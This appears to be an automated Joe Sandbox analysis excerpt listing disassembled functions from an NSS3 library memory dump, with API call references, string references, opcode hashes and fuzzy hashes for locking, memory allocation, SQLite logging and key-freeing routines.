Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 648b5bc76a39fe106231e4470b806462bc686ec6e0c590da5713f98635176478
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 2F11DD71F002055BEB008B65ED55FAF3768EF81398F680028ED09E7740EB31D92AC7A9

Function 6C6E3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E3D3F

Part of subcall function 6C65BA90: PORT_NewArena_Util.NSS3(00000800,6C6E3CAF,?), ref: 6C65BABF
Part of subcall function 6C65BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C6E3CAF,?), ref: 6C65BAD5
Part of subcall function 6C65BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C6E3CAF,?), ref: 6C65BB08
Part of subcall function 6C65BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C6E3CAF,?), ref: 6C65BB1A
Part of subcall function 6C65BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C6E3CAF,?), ref: 6C65BB3B

PR_EnterMonitor.NSS3(?), ref: 6C6E3CCB

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

PR_EnterMonitor.NSS3(?), ref: 6C6E3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6E3CF8
PR_ExitMonitor.NSS3(?), ref: 6C6E3D15
PR_ExitMonitor.NSS3(?), ref: 6C6E3D2E

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 78ee8dcc65453962edf3349c23997cda2faaf976ce615f05c3416911d81cb3b0
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 0C115B75A0A6006FE7205A25EC417DBB3E5EF1530CF500136E41A87B30F232F81AC74A

Function 6C6AFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C6AFE08

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C6AFE1D

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C6AFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C6AFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C6AFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C6AFE6F

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: e8958f3f6d710bd530286dc8b91ab4079b225fc896970217a65bb06645716fea
Instruction ID: 3f4a05c9c742616e56428bfde8db8ef3fa3682fcff5bcd5d0f55f93b194d77b2
Opcode Fuzzy Hash: e8958f3f6d710bd530286dc8b91ab4079b225fc896970217a65bb06645716fea
Instruction Fuzzy Hash: 9011E5B6600205BBEB008B95DC40A5BB798BF55399F148034F91897B12E732DD26C7AB

Function 6C75FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C75FD9E

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C75FDB9

Part of subcall function 6C63A900: TlsGetValue.KERNEL32(00000000,?,6C7B14E4,?,6C5D4DD9), ref: 6C63A90F
Part of subcall function 6C63A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C63A94F

PR_Unlock.NSS3 ref: 6C75FDD4
PR_Lock.NSS3 ref: 6C75FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C75FE0D
PR_Unlock.NSS3 ref: 6C75FE23

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 7e8b1fa407be745eaa828d524275a98d2c409347c2b18c981b8470a9201af768
Instruction ID: 6dd34c5b40ab76d90fec65025ae3ab606a4266a3735d782823e857ba3e508371
Opcode Fuzzy Hash: 7e8b1fa407be745eaa828d524275a98d2c409347c2b18c981b8470a9201af768
Instruction Fuzzy Hash: F501A1B6A04601ABCF058F15FD00C42B672FB022687154374E83647BE2EB22ED29D7C6

Function 6C63AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C63AFDA

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C63AFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6C63AF5C
%s at line %d of [%.10s], xrefs: 6C63AFD3
misuse, xrefs: 6C63AFCE

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 49ce3d7126dc21790a852734a1323841b4b46ed2629eaa93a8c81676bbe97145
Instruction ID: cc48d3b6dd0f42abda03a091663f80657c0467757186f32d54182a31db5f781a
Opcode Fuzzy Hash: 49ce3d7126dc21790a852734a1323841b4b46ed2629eaa93a8c81676bbe97145
Instruction Fuzzy Hash: 2E910675A042258FDF04CF59C854BAAB7F1BF45314F1960ACE869AB792C334ED01DB64

Function 6C69FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C69FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C69FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C69FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C69FDDE

Part of subcall function 6C6A8800: TlsGetValue.KERNEL32(?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8821
Part of subcall function 6C6A8800: TlsGetValue.KERNEL32(?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A883D
Part of subcall function 6C6A8800: EnterCriticalSection.KERNEL32(?,?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8856
Part of subcall function 6C6A8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C6A8887
Part of subcall function 6C6A8800: PR_Unlock.NSS3(?,?,?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8899

Strings

pkcs11:, xrefs: 6C69FC4F

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 42c3fd97aae568c109f8699217c78ed9ea3259067af570a1b892a8c49de820e2
Instruction ID: b93456ca4730d94e4b444e25194c5bd86eceaf0c0e67f3adfd0141c361d24dbf
Opcode Fuzzy Hash: 42c3fd97aae568c109f8699217c78ed9ea3259067af570a1b892a8c49de820e2
Instruction Fuzzy Hash: 7651D0B1A05113ABEB008FA59C40F9A73B5AF4635CF260425FD155BB61EB20E909CB9F

Function 6C5DBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C5DBE02

Part of subcall function 6C709C40: memcmp.VCRUNTIME140(?,00000000,6C5DC52B), ref: 6C709D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DBE9F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DBE89
%s at line %d of [%.10s], xrefs: 6C5DBE98
database corruption, xrefs: 6C5DBE93

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 3a616e5523d087ca68feb0d596ce4744d437253528627213fca524420dc8c475
Instruction ID: 2cb60c456c74f4e363c52790e46bb529bea1504c2525b308e91cf8af1d7d90c4
Opcode Fuzzy Hash: 3a616e5523d087ca68feb0d596ce4744d437253528627213fca524420dc8c475
Instruction Fuzzy Hash: 4A310431A0435A8BC700EF6D8C94AABBBA3EF45314B1A8954EE541BA41D370FD04C7D5

Function 6C6C6DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C6E57

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6EAA

Strings

nvl, xrefs: 6C6C6DF9

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nvl
API String ID: 3163584228-2622381835
Opcode ID: 07296b1ea92364811bb9fb18c4ede15eb1b05a0ab13e1ca6add2467ad655cf4e
Instruction ID: 27d761a5b64c3951a42306a2f93fccc51be671b2957b802cd5d755221fd57891
Opcode Fuzzy Hash: 07296b1ea92364811bb9fb18c4ede15eb1b05a0ab13e1ca6add2467ad655cf4e
Instruction Fuzzy Hash: 5F31C331718612EEDB145F34CD083A6BBA4EB4931AF14063ED89AD6A40E730E456CF8F

Function 6C651EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651EE2

Part of subcall function 6C6B1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C651D97,?,?), ref: 6C6B1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F37
DER_DecodeTimeChoice_Util.NSS3(?,dLel,?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F53

Strings

dLel, xrefs: 6C651F2B, 6C651F51

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLel
API String ID: 3216063065-2953738621
Opcode ID: 4568064a4e47393c13961365650d0237803fa11251800d464526fd551d00584b
Instruction ID: 33d39be9f9a2e1454272c99b24912e9fb2a47bea87085d4a8d4070bcf6d88dfd
Opcode Fuzzy Hash: 4568064a4e47393c13961365650d0237803fa11251800d464526fd551d00584b
Instruction Fuzzy Hash: 7921A471504306AFC700CF2ADD00ADBB7E9BB85799F500929E854D3A40F331E529CBE6

Function 6C640DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C640BDE), ref: 6C640DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C640BDE), ref: 6C640DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C640BDE), ref: 6C640DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C640BDE), ref: 6C640E32

Strings

%s incr => %d (find lib), xrefs: 6C640E2D

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: bc6b5875b17805242698fb41718a40ce45e67e7b687651a4bde3c299df9ea637
Instruction ID: a1a2d71e554ac5d16cb7eb8362636ccec162f22189dc586c63fef9a8274ccdc6
Opcode Fuzzy Hash: bc6b5875b17805242698fb41718a40ce45e67e7b687651a4bde3c299df9ea637
Instruction Fuzzy Hash: FB012472700624AFE7208F259C49E1777FCDB45B09B04843DED09D7A41E762EC2987E5

Function 6C681CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C681CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C681CF1

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

Strings

pInitArgs = 0x%p, xrefs: 6C681CEC
nvl, xrefs: 6C681D09, 6C681D30
C_Initialize, xrefs: 6C681CD3

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$nvl
API String ID: 1907330108-1581979034
Opcode ID: 51c45aec4b35d8bd2d5154f3fda561a9b05b18c114dba0dd76eefd301f100147
Instruction ID: 5f707e80267b0eb94de6884d87c49c4de110a5f4ac24cb9493e40e417f2e9577
Opcode Fuzzy Hash: 51c45aec4b35d8bd2d5154f3fda561a9b05b18c114dba0dd76eefd301f100147
Instruction Fuzzy Hash: B901DEB53031449FDB009F64CA0CF5537B5EB8331AF088434E81996A51DB34D849C7AE

Function 6C6FAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC2D

Part of subcall function 6C69ADC0: TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE10
Part of subcall function 6C69ADC0: EnterCriticalSection.KERNEL32(?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE24
Part of subcall function 6C69ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C67D079,00000000,00000001), ref: 6C69AE5A
Part of subcall function 6C69ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE6F
Part of subcall function 6C69ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE7F
Part of subcall function 6C69ADC0: TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEB1
Part of subcall function 6C69ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEC9

PK11_FreeSymKey.NSS3(?,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC59
free.MOZGLUE(8CB6FF01,6C6D6AC6,?,?,?,?,?,?,?,?,?,?,6C6E5D40,00000000,?,6C6EAAD4), ref: 6C6FAC62

Strings

@]nl, xrefs: 6C6FAC05

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]nl
API String ID: 1595327144-1632522648
Opcode ID: fa6982e2f7cb0de6bb2f3703adbc3884e885850c9e7266d9945c174036c7836b
Instruction ID: 96968e15d712d2bf2b7c3cbabc7411a1159df50cbfd1495cab9fc49957aee61b
Opcode Fuzzy Hash: fa6982e2f7cb0de6bb2f3703adbc3884e885850c9e7266d9945c174036c7836b
Instruction Fuzzy Hash: 96018BB5A002009FDF00CF58E8D0B5677E8AF05B18F1880A8E9598F707D731E809CBAA

Function 6C5E9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C5E9D45
EnterCriticalSection.KERNEL32(?), ref: 6C5E9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C5E9DDE

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
